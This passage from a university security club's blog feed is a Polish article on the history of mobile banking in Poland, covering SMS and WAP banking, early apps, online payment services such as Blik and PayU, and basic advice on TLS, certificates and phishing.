&lt;li>&lt;a href="https://www.passwordmonster.com/"target="_blank" rel="noopener">&amp;ldquo;How secure is your password. (n.d.). Password Strength Meter. Retrieved September 16, 2022&amp;rdquo;&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Historia bankowości mobilnej oraz bezpieczeństwo aplikacji bankowych</title><link>https://whitehats.pwr.edu.pl/blog/2022-09-19-history-of-mobile-banking/</link><pubDate>Mon, 19 Sep 2022 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2022-09-19-history-of-mobile-banking/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2022-09-19-history-of-mobile-banking/0_background_hu_635692cac23b1946.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>Temat artykułu jest realizowany w ramach Projektu “Cyberakcja - Bezpieczna Bankowa Aplikacja”, finansowanym z grantu Haki na Cyberataki Fundacji Santander.
Szczególne podziękowania dla fundacji Manus za pomoc w realizacji projektu.&lt;/p>
&lt;figure class="align-center" style="width : 50%; height: auto; display: block; margin-left: auto; margin-right: auto;">
&lt;img loading="lazy" src="./1_cyberakcja.png" alt="Logo Cyberakcja">
&lt;/figure>
&lt;div class="row">
&lt;div class="column">
&lt;figure class="align-center">
&lt;img loading="lazy" src="./2-manus.webp" alt="Logo Manus">
&lt;/figure>
&lt;/div>
&lt;div class="column">
&lt;figure class="align-center">
&lt;img loading="lazy" src="./3-santander.png" alt="Stary telefon marki Nokia">
&lt;/figure>
&lt;/div>
&lt;/div>
&lt;h2>Historia Bankowości Mobilnej:&lt;span class="hx:absolute hx:-mt-20" id="historia-bankowości-mobilnej">&lt;/span>
&lt;a href="#historia-bankowo%c5%9bci-mobilnej" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Telefon jako urządzenie o wielu zastosowaniach stał się, obok kluczy, najważniejszą rzeczą jaką zabieramy z domu. Z upływem czasu komórki stały się nie tylko aparatem do komunikacji, ale również notatnikiem, kalendarzem, prognozą pogody, nieograniczonym źródłem wiedzy wszelakiej. Stały się dla nas drugimi portfelami, którymi możemy dokonywać płatności oraz potwierdzać swoją tożsamość przez wirtualne wersje dokumentów. W jaki sposób powstała bankowość mobilna, która jest nam dzisiaj powszechnie znana? Odpowiedź znajdziecie w tym artykule.&lt;/p>
&lt;p>Co ciekawe bankowość mobilna nie jest wcale taka nowa, jakby się mogło wydawać. Oczywiście kiedyś nie funkcjonowała w postaci aplikacji na smartfonach. Początek wszystkiego stanowi oczywiście Internet. Wykorzystując technologie takie jak SMS oraz WAP (Wireless Application Protocol), Wielkopolski Bank Kredytowy jako pierwszy w Polsce (kiedyś Bank Zachodni WBK, dziś bank Santander), w roku 1999 (technologia SMS) oraz 2000 (technologia WAP), mógł poszczycić się dostępem do bankowości przez telefon.&lt;/p>
&lt;p>Nie byłoby bankowości mobilnej bez tej elektronicznej. Już w roku 2000 mBank, jako pierwszy wirtualny bank w Polsce, zaprezentował bankowość na miarę przyszłości: nie dysonował żadnymi fizycznymi oddziałami, obsługa odbywała się tylko przez Internet i telefonicznie.&lt;/p>
&lt;p>Technologia SMS była jednak tylko powiadomieniami „push”, czyli jedynie informowała o komunikatach z banku. Nie było możliwości aktywnego wprowadzania działań, przez co sam pomysł nie był powszechnie uważany za odkrywczy. Takie rozwiązanie było mało opłacalne, ponieważ za każdy SMS wygenerowany przez bank należało zapłacić, a informacje jakie za pomocą wiadomości można było uzyskać to np. wysokość salda.&lt;/p>
&lt;h2>Krótko o Protocole WAP:&lt;span class="hx:absolute hx:-mt-20" id="krótko-o-protocole-wap">&lt;/span>
&lt;a href="#kr%c3%b3tko-o-protocole-wap" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>WAP jako protokół dla bezprzewodowych sieci komunikacyjnych został stworzony, aby realizować proste cele: przyśpieszyć proces wyszukiwania na telefonach komórkowych, a tym samym ograniczyć ilość zużywanych danych. Protokół rozwiązywał problemy z transmisją danych, brakiem pamięci, oraz wprowadzał ekrany LCD. Tym samym w telefonach starszej generacji znajdziemy tzw. mikroprzeglądarki obsługiwane przez język WML (Wireless Markup Language) - uproszczoną wersją języka HTML. To właśnie tę technologię wykorzystała firma Nokia w swoim telefonie Nokia 7110, który jako pierwsza komórka miała możliwość przeglądania Internetu.
WAP umożliwiał sprawdzanie salda, zdalne zarządzanie lokatami oraz wykonywanie przelewów. Protokół został wyparty przez Java Micro Edition z racji wysokich marż na produktach tylko jednego producenta. Technologia ta była dostępna tylko dla zamożnych klientów, a same koszty generowane przez operatorów GSM odstraszały od korzystania z możliwości proponowanych przez WAP.&lt;/p>
&lt;p>Bezpieczeństwo rozwiązania WAP opierało się na zabezpieczeniach protokołów sieciowych, głownie WTLS, czyli bezprzewodowego wariantu protokołu SSL/TLS. Wykorzystanie szyfrowania asymetrycznego zapewniało poufność komunikacji między serwerem WWW a bramą WAP. To właśnie w bramie WAP, która zachowywała się podobnie jak serwer proxy, dochodziło do zamiany pakietów, które były możliwe do przeczytania w innym protokole sieciowym np. TCP/IP. Sam WTLS miał wiele niedoskonałości, jeśli chodzi o zabezpieczenia. Jeśli interesuje Cię temat bezpieczeństwa WAP w szerszym stopniu zajżyj do tego artykułu - &lt;a href="https://www.esat.kuleuven.be/cosic/publications/article-549.pdf"target="_blank" rel="noopener">The Wireless Application Protocol&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h2>Dynamiczny rozwój bankowości&lt;span class="hx:absolute hx:-mt-20" id="dynamiczny-rozwój-bankowości">&lt;/span>
&lt;a href="#dynamiczny-rozw%c3%b3j-bankowo%c5%9bci" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Dobrze znane nam aplikacje bankowe pojawiły się z wejściem na rynek systemu Android.
Dopiero w 2004 roku na rynku zadebiutowała pierwsza aplikacja z prawdziwego zdarzenia – R-Mobile. Wypuścił ją Raiffeisen Bank Polska. Jako jedyna w Polsce aplikacja, nie była zależna od operatora telefonii komórkowej (było to dość powszechne zjawisko do tego czasu) przez co nie wymagała wymiany karty SIM. Napisano ją w języku Java 2 Micro Edition i w obecnym czasie budziło to spore kontrowersje ze względu na niestabilność programów napisanych w tym języku. Java ME (zamienna nazwa Javy 2 Micro Edition) posiadała swój własny, okrojony w stosunku do Java SE zbiór klas zwanych konfiguracją (ang. configuration), dzięki czemu idealnie sprawdzała się na telefonach o ograniczonych zasobach obliczeniowych oraz pamięciowych. Aplikacja była wysyłana zdalnie na telefon klienta, a logowanie do niej następowało przez specjalnie wygenerowany kod RPIN. Szyfrowanie transmisji danych odbywało się za pomocą algorytmu 3DES ze zmiennym kluczem, co zagwarantowało wymagany poziom bezpieczeństwa&amp;quot;. Sam przesył pakietów odbywał się dzięki technologii GPRS (General Packet Radio Service), technika była związana z pakietowym przesyłaniem danych w sieciach GSM.
&lt;br />&lt;/p>
&lt;p>&lt;strong>Ciekawostka:&lt;/strong> GPRS jest często nazywane “technologią” 2.5G, z racji tego, że stanowił element niezbędny do ewolucji GSM a w konsekwencji powstania technologii 3G.&lt;/p>
&lt;p>Dzięki usłudze, jaką była R-Mobile, można było między innymi: sprawdzić saldo i dostępne środki, wykonywać przelewy (wewnętrzne oraz zewnętrzne), sprawdzić historię 7 ostatnich operacji na rachunku, wykonać operację spłacenia raty kredytu, założyć lokatę ze środków posiadanych na kontach.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./4-r-mobile.png" alt="Stary telefon marki Nokia">
&lt;/figure>
&lt;br />
> źródło: https://gsmonline.pl/artykuly/polski-raiffeisen-nadal-liderem-w-m-bankowosci
&lt;p>W 2005 roku Bank Millennium udostępnił klientom bankowość mobilną wykorzystującą kody SMS. Niektóre Banki nadal świadczą usługi związane z SMS bankingiem np. Bank Spółdzielczy w Limanowej. Dzięki specjalnej konstrukcji SMS-a i wysłaniu go na odpowiedni numer można opłacać rachunki czy uzyskać wartość salda. Jednakże bankowość w formie SMS nie do końca spełniała oczekiwania klientów i oczywiście stwarzała wiele kontrowersji, jeśli chodzi o bezpieczeństwo.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./5-sms-scripts.PNG" alt="Schemat wysyłania wiadomości SMS">
&lt;/figure>
&lt;br />
> źródło: https://www.bs.limanowa.pl/oferta/sms-banking
&lt;p>Pierwsze aplikacje, jakie dobrze znamy, pojawiły się na systemie IOS po wystąpieniu Steve’a Jobsa w 2007 r., Apple zaprezentowało pierwszy model iPhone’a – telefon wyposażony został w rewolucyjny ekran dotykowy, który można obsługiwać za pomocą palców. IPhone&amp;rsquo;y nie były tak szeroko dostępne w Polsce, dopiero czas miał pokazać potęgę rozwiązania oferowanego przez firmę Apple.&lt;/p>
&lt;p>W 2008 roku firma Inteligo wystartowała testowo ze swoją innowacyjną usługą serwis lajt. Serwis był dostosowany do korzystania z niego na urządzeniach mobilnych, charakteryzował się lekkością, był pozbawiony zbędnych reklam oraz grafik. Serwis był dostępny z poziomu przeglądarki, dzięki czemu nie wymuszał na użytkowniku instalowania dodatkowej aplikacji. Specjalnie zaprojektowany serwis lajt ograniczał zużycie danych komórkowych, dzięki czemu korzystanie z Internetu na telefonie stało się bardziej dostępne. Na początku roku 2009 do bankowości lajt dołączyły się m.in. takie banki jak Alior Bank, mBank oraz ING Bank Śląski.&lt;/p>
&lt;p>Dopiero Rok 2009 był przełomowy dla polskiego rynku bankowego, ponieważ pojawiła się pierwsza aplikacja bankowa napisana na system iOS – był to Mobilny Bank wdrożony przez Raiffeisen Bank Polska. Natomiast w tym samym roku, po raz pierwszy, ukazał się w Polsce telefon z systemem android HTC Dream, sprzedawany pod marką Era G1.&lt;/p>
&lt;p>Różnorodność związana z systemami operacyjnymi na smartfonach nowej generacji spowodowała rozwój konkurencyjności marek, dzięki czemu szybko uzyskaliśmy nowe, coraz bardziej zaawansowane aplikacje i technologie.
Najbardziej pomocne dla bankowości elektronicznej było pojawienie się sklepów internetowych. Polski rynek e–commerce równolegle do elektronicznych rozwiązań bankowych rozwija się od 1999r.. To właśnie w tym roku pojawił się najbardziej rozpoznawalny serwis aukcyjny Allegro.pl. W miarę powstawania coraz to nowszych sklepów internetowych, wzrosła też potrzeba bezpiecznego zaksięgowania płatności. Tym samym narodziły się takie systemy płatności jak: PayU, PayPal, Przelewy24 oraz dobrze nam znany rodzimy Blik - technologia ułatwiająca nam rozliczanie się, obecnie nawet w większości sklepów stacjonarnych.&lt;/p>
&lt;h2>Przegląd metod płatności internetowych:&lt;span class="hx:absolute hx:-mt-20" id="przegląd-metod-płatności-internetowych">&lt;/span>
&lt;a href="#przegl%c4%85d-metod-p%c5%82atno%c5%9bci-internetowych" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;ul>
&lt;li>
&lt;p>&lt;strong>PayU&lt;/strong> - Pierwszą transakcją z PayU 3.06.2002 r. w Polsce było doładowanie telefonu na 20zł. W roku 2005 PayU zostało zaprezentowane przez Allegro jako funkcja “Płatności Allegro”, dzięki czemu system ten zyskał wielu zwolenników z racji wygody oraz oczywiście zaufania, gdyż wiele osób zaczęło z niego korzystać. Od 2012 roku platforma ta staje się Instytucją Płatniczą, uzyskuje pierwszą tego typu licencję wydaną przez KNF w Polsce, a tym samym rozpoczyna działalność centrum autoryzacyjno - rozliczeniowe PayU.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>PayPal&lt;/strong> - Nie jest naszym rodzimym systemem, wywodzi się z amerykańskiego rynku. PayPal działa na zasadzie wirtualnej skarbonki (cyfrowy portfel). W systemie PayPal klienci mogą płacić przy użyciu karty kredytowej bądź salda konta PayPal, które można zasilać przelewami z konta bankowego lub innego konta PayPal.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Przelewy24&lt;/strong> - Serwis powstał w roku 2004, wspiera różne metody płatności od Blika po przelewy, realizuje system portfeli elektronicznych oraz jest połączony z Google Pay, oraz Apple Pay. Jest pośrednikiem płatności między sklepem internetowym np. Allegro a klientem. System natychmiast księguje płatność klienta, który dokonuje ją jedną z dostępnych metod np. przelewem natychmiastowym (tzw. pay by link), przelewem zwykłym lub kartą płatniczą. Dana wpłata zostaje przydzielona w systemie pośrednika do odpowiedniej firmy, rozliczając się co pewien okres czasowy. Oczywiście serwisy pośredniczące funkcjonują pobierając drobną opłatę za wykonanie transakcji. W przypadku Przelewów24 jest to kwota zaczynająca się od 1.90%, natomiast PayU pobiera 2.3% kwoty.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Co ciekawe, dodatkowe 30gr doliczane przy płatności kartą u dwóch największych gigantów rynku pośredników płatności wynikają ze specjalnego opodatkowania transakcji. Opłaty interchange są różne co do poszczególnych krajów i tyczą się każdej płatności, która jest dokonywana kartą, zarówno w sklepie stacjonarnym, jak i internetowym. W Polsce jest to opłata w wysokości 0.2% na karty debetowe i 0.3% na karty kredytowe i obciążeniowe. Wszystkie krajowe stawki opłaty interchange znajdziesz tutaj: &lt;a href="https://www.visa.pl/content/dam/VCOM/regional/ve/poland/pdf/Poland%20domestic%20IF%20POL%20ENG%2018072020.pdf"target="_blank" rel="noopener">Krajowe stawki opłaty interchange (visa.pl)&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./6-compering-paymant.PNG" alt="Porównanie płatności online">
&lt;/figure>
> źródło: https://zalecamy.pl/porownanie-platnosci-online
&lt;ul>
&lt;li>&lt;strong>Blik&lt;/strong> - System płatności mobilnych dostępny dla użytkowników od lutego 2015 r. Jednak prace nad systemem rozpoczęły się już w 2013 r. kiedy firma Polski Standard Płatności oraz sześć największych polskich banków (Alior Bank, Bank Millennium, Bank Zachodni WBK (teraz Santander), ING Bank Śląski, mBank i PKO Bank Polski) zostali zainspirowani do pracy nad nowym projektem. Blik na początku został tworzony wykorzystując do tego system IKO PKO Banku Polskiego.&lt;/li>
&lt;/ul>
&lt;h2>Spójrzmy na liczby:&lt;span class="hx:absolute hx:-mt-20" id="spójrzmy-na-liczby">&lt;/span>
&lt;a href="#sp%c3%b3jrzmy-na-liczby" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>W raporcie za IV kw. 2017 r. PRNews.pl umieszcza informację o ilości otwartych kont indywidualnych wśród 19 najpopularniejszych banków w Polsce. Co ciekawe, w przeciągu roku, tzn. porównując z okresem IV kw. 2016 r., liczba kont wzrosła o 764 tys. Natomiast od roku 2017 do 2021 liczba kont w Polsce wzrosła o 3,3 mln. Świadczy to o wysokiej ufności Polaków do instytucji bankowych. Dodatkowo, technologie dostarczania paczek za pomocą paczkomatów wykorzystywane przez firmę InPost zrewolucjonizowały sposób odbierania przesyłek. Z raportu Gemius „E-commerce w Polsce 2020” z połowy 2020 r. wynika, że ​​aż 73% internautów robi zakupy online, a ich liczba wzrosła o 11 punktów procentowych, w porównaniu z danymi z lat poprzednich - 62% ankietowanych internautów, którzy zostali przebadani w 2019 roku, 56% w 2018 roku i 54% w 2017 roku.
Raporty można znaleźć pod tymi odnośnikami:
&lt;a href="https://prnews.pl/raport-prnews-pl-rynek-kont-osobistych-iv-kw-2017-434129"target="_blank" rel="noopener">Raport PRNews.pl: Rynek kont osobistych – IV kw. 2017&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
&lt;a href="https://prnews.pl/raport-prnews-pl-rynek-kont-osobistych-iv-kw-2021-463926"target="_blank" rel="noopener">Raport PRNews.pl: Rynek kont osobistych – IV kw. 2021&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
&lt;a href="https://uniqueseo.pl/e-commerce-w-polsce"target="_blank" rel="noopener">E commerce w Polsce (3 najważniejsze statystyki + RAPORT) - UniqueSEO&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;h2>Co sprawia, że płatności są bezpieczne?&lt;span class="hx:absolute hx:-mt-20" id="co-sprawia-że-płatności-są-bezpieczne">&lt;/span>
&lt;a href="#co-sprawia-%c5%bce-p%c5%82atno%c5%9bci-s%c4%85-bezpieczne" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Przejdźmy do zabezpieczeń, które są wykorzystywane w obecnym czasie. W dalszej części artykułu skupię się na płatnościach internetowych takich jak: przelewy wykonywane w banku, czy u pośredników płatniczych. Fizyczne płatności kartą są tematem na osobny artykuł.&lt;/p>
&lt;p>&lt;strong>SSL&lt;/strong> (Secure Socket Layer) - Standard szyfrowania danych w Internecie, zapewnia bezpieczne połączenie między serwerem a klientem. TLS jest często zamienne w użytkowaniu z SSL, nie jest to jednak protokół tożsamościowy. TLS jest rozwinięciem standardu SSL, przez co jest bezpieczniejszy. Obecnie nie mamy już do czynienia z SSL-em, a tylko z jego nazwą, która wykorzystywana do dzisiaj kojarzy się z bezpieczeństwem. Całość szyfrowania TLS opiera się na szyfrowaniu asymetrycznym. Dzięki generowaniu klucza publicznego (po stronie serwera) oraz klucza prywatnego (po stronie klienta), zapewnia poufność pakietów przesyłanych w internecie. Oznacza to, że osoby trzecie nie są w stanie rozszyfrować naszych danych, tym samym jesteśmy odporni na atak typu man-in-the-middle.&lt;/p>
&lt;p>&lt;strong>UWAGA:&lt;/strong>
Szyfrowane połączenia są bezpieczne, jednak tylko, gdy mamy pewność, że serwer, do którego się łączymy, jest stroną, za którą się podaje. Pamiętajmy, że przestępcy często wykorzystują naszą nieuwagę i podsyłają nam strony do złudzenia przypominające witryny np. naszego banku. Więcej o tym czym jest phishing i jak sobie z nim radzić znajdziesz w artykule &lt;a href="https://whitehats.pwr.edu.pl/edu/phishing/"target="_blank" rel="noopener">Phishing - White Hats (pwr.edu.pl)&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>Zawsze upewnij się, że jesteś w docelowej witrynie przed wprowadzeniem jakichkolwiek informacji!&lt;/p>
&lt;p>&lt;strong>Certyfikaty TLS&lt;/strong> - certyfikaty pozwalające nam sprawdzić wiarygodność strony internetowej. Dzięki nim wiemy jaka firma lub instytucja odpowiada za wiarygodność danej witryny. W celu zweryfikowania certyfikatu należy kliknąć na kłódkę przy pasku wyszukiwania. Można sprawdzić jaki urząd certyfikacji go wydał. W przypadku braku certyfikatu, przez przeglądarkę zostanie wyświetlone ostrzeżenie.
Niestety obecnie sama ‘kłódka’ nie świadczy o wiarygodnym urzędzie certyfikacji, certyfikat można kupić i dodać do swojej strony internetowej, dlatego warto przede wszystkim zadbać o bezpieczne wchodzenie na stronę banku np. z zapisanego adresu w karcie ‘ulubione’.&lt;/p>
&lt;p>Dzięki algorytmom kryptograficznym nasze połączenia z serwerami banku są zabezpieczone przed osobami trzecimi i jesteśmy w stanie bezpiecznie wykonywać m.in. przelewy za pośrednictwem banku.&lt;/p>
&lt;h2>Jak korzystać z aplikacji, aby zadbać o bezpieczeństwo naszych danych?&lt;span class="hx:absolute hx:-mt-20" id="jak-korzystać-z-aplikacji-aby-zadbać-o-bezpieczeństwo-naszych-danych">&lt;/span>
&lt;a href="#jak-korzysta%c4%87-z-aplikacji-aby-zadba%c4%87-o-bezpiecze%c5%84stwo-naszych-danych" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Wiele osób nie jest pewnych bezpieczeństwa bankowości mobilnej, przez co rezygnuje z niej. Dostęp do bankowości z poziomu “kieszeni” ma jednak zdecydowanie więcej zalet, niż wad.
Deweloperzy aplikacji bankowych na telefon są w pełni świadomi zagrożeń związanych z cyberprzestępczością. Odpowiednie algorytmy kryptograficzne gwarantują nam bezpieczne połączenie end-to-end.&lt;/p>
&lt;p>Klika prostych zasad, których warto przestrzegać korzystając z internetu, aby nie zostać ofiarą oszustwa:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Dbaj o higienę skrzynki pocztowej&lt;/strong>
Newslettery, które nie są Ci potrzebne, można usunąć z poczty, anulując swoją subskrypcję. Pamiętaj, że usunięcie z listy newslettera nie znaczy, że dana firma nie kolekcjonuje twoich danych. Upewnij się czytając, regulamin i podejmij odpowiednie kroki, aby wypisać się z bazy klientów.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Regularnie aktualizuj oraz restartuj swoje urządzenia&lt;/strong>
Aby chronić klientów przed hakerami, którzy wykorzystują podatności i luki w systemie, chcąc dostać się do naszych prywatnych informacji, aktualizujemy systemy do najnowszych wersji. Naprawione błędy i sprawniej działające urządzenia to coś, z czego nie należy rezygnować.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Czyść ciasteczka&lt;/strong>
Czy zdarzyło Cii się, że szukałeś idealnego prezentu dla swojej mamy i gdy w końcu udało Ci się go znaleźć, każda reklama, wyświetlana na odwiedzanych przez Ciebie stronach, zawiera właśnie ten produkt? Są to bardzo tzw. pliki “ciasteczka” (ang. cookies), które zbierają informację na temat użytkowników strony internetowej i są przechowywane przez przeglądarki nawet do tygodnia w pamięci. Często zebrane dane są przekazywane lub sprzedawane do innych instytucji w celach profilowania konsumentów. Dlatego koszyk w sklepie, do którego nawet się nie zalogowałeś, jest nadal pełny.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Uważnie korzystaj z ważnych funkcji w telefonie&amp;quot;&lt;/strong>
Emocje, zmęczenie, alkohol, stres,czy przebodźcowanie, to czynniki, które osłabiają zdolność realnej oceny sytuacji. Wykorzystują to socjotechniczne ataki phishingowe, które mają na celu wyłudzenie naszych danych lub pieniędzy. Łatwiej jest popełnić błąd np. literówkę, lub kliknąć w nurtujący szkodliwy odnośnik.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h2>Materiały wykorzystane w artykule:&lt;span class="hx:absolute hx:-mt-20" id="materiały-wykorzystane-w-artykule">&lt;/span>
&lt;a href="#materia%c5%82y-wykorzystane-w-artykule" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>&lt;a href="https://prnews.pl/r-mobile-wygoda-i-niezaleznosc-63206"target="_blank" rel="noopener">https://prnews.pl/r-mobile-wygoda-i-niezaleznosc-63206&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://www.bankier.pl/wiadomosc/Historia-bankowosci-mobilnej-w-Polsce-7284816.html"target="_blank" rel="noopener">https://www.bankier.pl/wiadomosc/Historia-bankowosci-mobilnej-w-Polsce-7284816.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://mlodytechnik.pl/eksperymenty-i-zadania-szkolne/wynalazczosc/30372-aplikacje-mobilne"target="_blank" rel="noopener">https://mlodytechnik.pl/eksperymenty-i-zadania-szkolne/wynalazczosc/30372-aplikacje-mobilne&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://www-geeksforgeeks-org.translate.goog/wireless-application-protocol/"target="_blank" rel="noopener">https://www-geeksforgeeks-org.translate.goog/wireless-application-protocol/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://prnews.pl/nowosc-w-ofercie-millennium-przelewy-przez-smsy-79382"target="_blank" rel="noopener">https://prnews.pl/nowosc-w-ofercie-millennium-przelewy-przez-smsy-79382&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://surebety.pl/artykul/przelewy24/"target="_blank" rel="noopener">https://surebety.pl/artykul/przelewy24/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://www.bankrate.com/banking/best-security-practices-for-mobile-banking"target="_blank" rel="noopener">https://www.bankrate.com/banking/best-security-practices-for-mobile-banking&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://www.cashbill.pl/blog/bezpieczenstwo/bezpieczenstwo-platnosci-internetowych-i-certyfikaty-ssl/"target="_blank" rel="noopener">https://www.cashbill.pl/blog/bezpieczenstwo/bezpieczenstwo-platnosci-internetowych-i-certyfikaty-ssl/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://www.esat.kuleuven.be/cosic/publications/article-549.pdf"target="_blank" rel="noopener">https://www.esat.kuleuven.be/cosic/publications/article-549.pdf&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
